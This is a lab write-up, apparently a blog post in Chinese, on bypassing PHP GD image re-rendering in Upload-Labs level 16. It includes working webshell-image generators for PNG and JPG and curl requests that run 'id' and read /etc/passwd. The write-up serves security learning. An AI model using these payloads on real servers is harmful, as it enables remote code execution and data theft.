BUUCTF_Basic_Upload-Labs-Linux(文件上传漏洞,第16关,图片马 绕过imagecreatefromjpeg、imagecreatefrompng、imagecreatefromgif)

提示:本pass重新渲染了图片!

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}
View Code

imagecreatefromjpeg、imagecreatefrompng、imagecreatefromgif方法会渲染图像生成新的图像,在图像中注入脚本代码经过渲染后,脚本代码会消失。

1、上传git图片马

先上传正常图片文件,再下载回渲染后的图片,把原图和修改过的图片进行比较,看看哪个部分没有被修改。将php代码放到没有被更改的部分,再重新上传即可绕过。可以使用HxD Hex Editor进行比较。具体步骤:https://xz.aliyun.com/news/2337#toc-13

插入位置:

image

成功运行代码。PS:file=/upload/691885366.gif 运行失败,?file=./upload/691885366.gif 就运行成功了。

image

2、上传png图片马

png二次渲染的绕过并不能像gif那样简单。我试过用BurpSuite的comparer比较png原图和经过imagecreatefrompng二次渲染后图,二者完全不一样。

image

PNG数据块(Chunk)

PNG定义了两种类型的数据块,

  • 关键数据块(critical chunk),这是标准的数据块
  • 辅助数据块(ancillary chunks),这是可选的数据块。

关键数据块定义了4个标准数据块,每个PNG文件都必须包含它们,PNG读写软件也都必须要支持这些数据块。虽然PNG文件规范没有要求PNG编译码器对可选数据块进行编码和译码,但规范提倡支持可选数据块。

下表就是PNG中数据块的类别,其中,关键数据块部分我们使用黄色背景加以区分。

数据块符号

数据块名称

多数据块

可选否

位置限制

IHDR

文件头数据块

第一块

cHRM

基色和白色点数据块

在PLTE和IDAT之前

gAMA

图像γ数据块

在PLTE和IDAT之前

sBIT

样本有效位数据块

在PLTE和IDAT之前

PLTE

调色板数据块

在IDAT之前

bKGD

背景颜色数据块

在PLTE之后IDAT之前

hIST

图像直方图数据块

在PLTE之后IDAT之前

tRNS

图像透明数据块

在PLTE之后IDAT之前

oFFs

(专用公共数据块)

在IDAT之前

pHYs

物理像素尺寸数据块

在IDAT之前

sCAL

(专用公共数据块)

在IDAT之前

IDAT

图像数据块

与其他IDAT连续

tIME

图像最后修改时间数据块

无限制

tEXt

文本信息数据块

无限制

zTXt

压缩文本数据块

无限制

fRAc

(专用公共数据块)

无限制

gIFg

(专用公共数据块)

无限制

gIFt

(专用公共数据块)

无限制

gIFx

(专用公共数据块)

无限制

IEND

图像结束数据

最后一个数据块

我们目前只需关注标黄的关键数据块即可。

数据块中有 4 个关键数据块:

  1. 文件头数据块 IHDR(header chunk):包含有图像基本信息,作为第一个数据块出现并只出现一次。
  2. 调色板数据块 PLTE(palette chunk):必须放在图像数据块之前。对于索引彩色图像(颜色类型为3),PLTE数据块是强制必需的,没有它图像就无法正确解析和显示 。
  3. 图像数据块 IDAT(image data chunk):存储实际图像数据。PNG 数据允许包含多个连续的图像数据块。
  4. 图像结束数据 IEND(image trailer chunk):放在文件尾部,表示 PNG 数据流结束。如果我们仔细观察PNG文件,会发现文件的结尾12个字符看起来总应该是这样的:00 00 00 00 49 45 4E 44 AE 42 60 82

数据块连起来,大概这个样子:

PNG 标识符

PNG 数据块(IHDR)

PNG 数据块(其他类型数据块)

PNG 结尾数据块(IEND)

就是一段段数据按照固定格式填充,头尾必要,中间填充图片的压缩数据。所以解读png的所有数据,就需要解读每个数据块。

png数据块结构

PNG文件中,每个数据块由4个部分组成,如下:

名称

字节数

说明

Length (长度)

4字节

指定数据块中数据域的长度,其长度不超过(231-1)字节

Chunk Type Code (数据块类型码)

4字节

数据块类型码由ASCII字母(A-Z和a-z)组成

Chunk Data (数据块数据)

可变长度

存储按照Chunk Type Code指定的数据

CRC (循环冗余检测)

4字节

存储用来检测是否有错误的循环冗余码

CRC: 一种校验算法。CRC(cyclic redundancy check)域中的值是对Chunk Type Code域和Chunk Data域中的数据进行计算得到的。CRC具体算法定义在ISO 3309和ITU-T V.42中,其值按下面的CRC码生成多项式进行计算:x32+x26+x23+x22+x16+x12+x11+x10+x8+x7+x5+x4+x2+x+1

关于png数据块结构,具体见:http://www.libpng.org/pub/png/spec/1.2/PNG-Chunks.html#C.Critical-chunks

写入php代码

在网上找到了两种方式来制作绕过二次渲染的png木马。

写入PLTE数据块

php底层在对PLTE数据块验证的时候,主要进行了CRC校验。所以可以在chunk data域插入php代码,然后重新计算相应的crc值并修改即可。

这种方式只针对索引彩色图像(颜色类型为3)的png图片才有效(我试过本地的很多图片,都没有PLTE数据块)。我从网上找了一个索引彩色图像(颜色类型为3):https://www.zhoulujun.cn/uploadfile/2020/0506/webp ,下载后手动改后缀为png。

image

用HxD打开后显示如下

image

PLTE数据块分析如下:

十六进制

说明

00 00 00 27

数据块长度 39 字节

50 4C 54 45

数据块类型码 “PLTE” 的 ASCII 字母

B7 00 34 FF 99 00 60 00 73 FF 0F 00 FF ED 00 09 00 B2 FF 66 00 FF 3B 00 E2 00 15 8B 00 54 FF C1 00 33 00 99 FF FF 00

调色板颜色 13 个

48 29 75 2C

CRC (循环冗余检测)

1、在PLTE数据块写入php代码。由于此处数据块长度 39 字节,所以在右侧PLTE后面插入<?php phpinfo(); ?>后,发现左侧数据块新增了19字节,因此要对应删除之后的19个字节。保证Chunk Data (数据块数据)与之前一致。

image

2、计算PLTE数据块的CRC

CRC脚本

import binascii
import re

png = open(r'索引图片.png', 'rb')
a = png.read()
png.close()
hexlstr = binascii.b2a_hex(a).decode('ascii')  # 转换为字符串

# PLTE crc
data = '504c5445' + re.findall('504c5445(.*?)70485973', hexlstr)[0]
# 计算CRC32(注意:需要将十六进制字符串转换为bytes)
crc = binascii.crc32(bytes.fromhex(data[:-16])) & 0xffffffff
print(hex(crc))

运行结果

0x8fd446a1

3、修改CRC值

image

4、验证

将修改后的png图片上传后,运行文件包含,成功执行代码。

image

写入IDAT数据块

这里有国外大牛写的脚本,直接拿来运行即可。

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

运行后得到1.png,上传后下载到本地打开如下图

image

使用以下方法,成功执行脚本

# 执行系统命令
curl -X POST "http://target.com/include.php?file=./upload/1514430818.png&0=system" -d "1=id" --output -

# 读取敏感信息
curl -X POST "http://target.com/include.php?file=./upload/1514430818.png&0=file_get_contents" -d "1=/etc/passwd" --output -

image

image

3、上传jpg图片马

magecreatefromjpeg方法已经存在成熟的绕过脚本:https://github.com/BlackFan/jpg_payload。

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>
jpg_payload.php

绕过需要先上传正常图片文件,再下载回渲染后的图片,运行jpg_payload.php处理下载回来的图片,将代码注入图片文件,然后上传新生成的图片,能看出经过imagecreatefromjpeg后注入的脚本代码依然存在。

注意:这个脚本只能处理jpg图片,其他格式比如png图片会报错:Incorrect SOI marker。

这个靶场环境有问题,上传正常的jpg图片报错500,所以这个绕过方法试不了了。

但是我看后台实际上jpg图片是上传成功了的,并且未改名,所以可以直接使用notepad++打开正常jpg图片,在最后插入:<?php phpinfo(); ?>,保存。

上传图片,利用文件包含漏洞,成功运行恶意代码。image

 

另外,PHP环境安装方法如下:

1、PHP官网下载适合自己操作系统的PHP版本:https://downloads.php.net/~windows/releases/archives/php-8.5.4-Win32-vs17-x64.zip。我选择的是windows、x64 版本、Thread Safe (适合与Apache等Web服务器配合使用)

2、解压,在path变量中添加PHP的解压目录路径。

3、配置php.ini。

  • - 在PHP解压目录中,复制 php.ini-development 文件并重命名为 php.ini 。
  • - 用文本编辑器打开 php.ini ,找到并取消注释(删除前面的分号 ; )以下行:extension=gd
  • - 将 ;extension_dir = "ext" 改为 extension_dir = "D:\software\php-8.5.4-Win32-vs17-x64\ext"
  • - 保存

4、验证PHP安装和GD扩展

  • - 打开新的命令提示符(Win+R → 输入 cmd → 回车)
  • - 运行命令 php -v ,如果显示PHP版本信息,则表示PHP安装成功
  • - 运行命令 php -m ,如果输出中包含 gd ,则表示GD扩展已启用

(完)

posted @ 2026-03-23 22:14  zhengna  阅读(19)  评论(0)    收藏  举报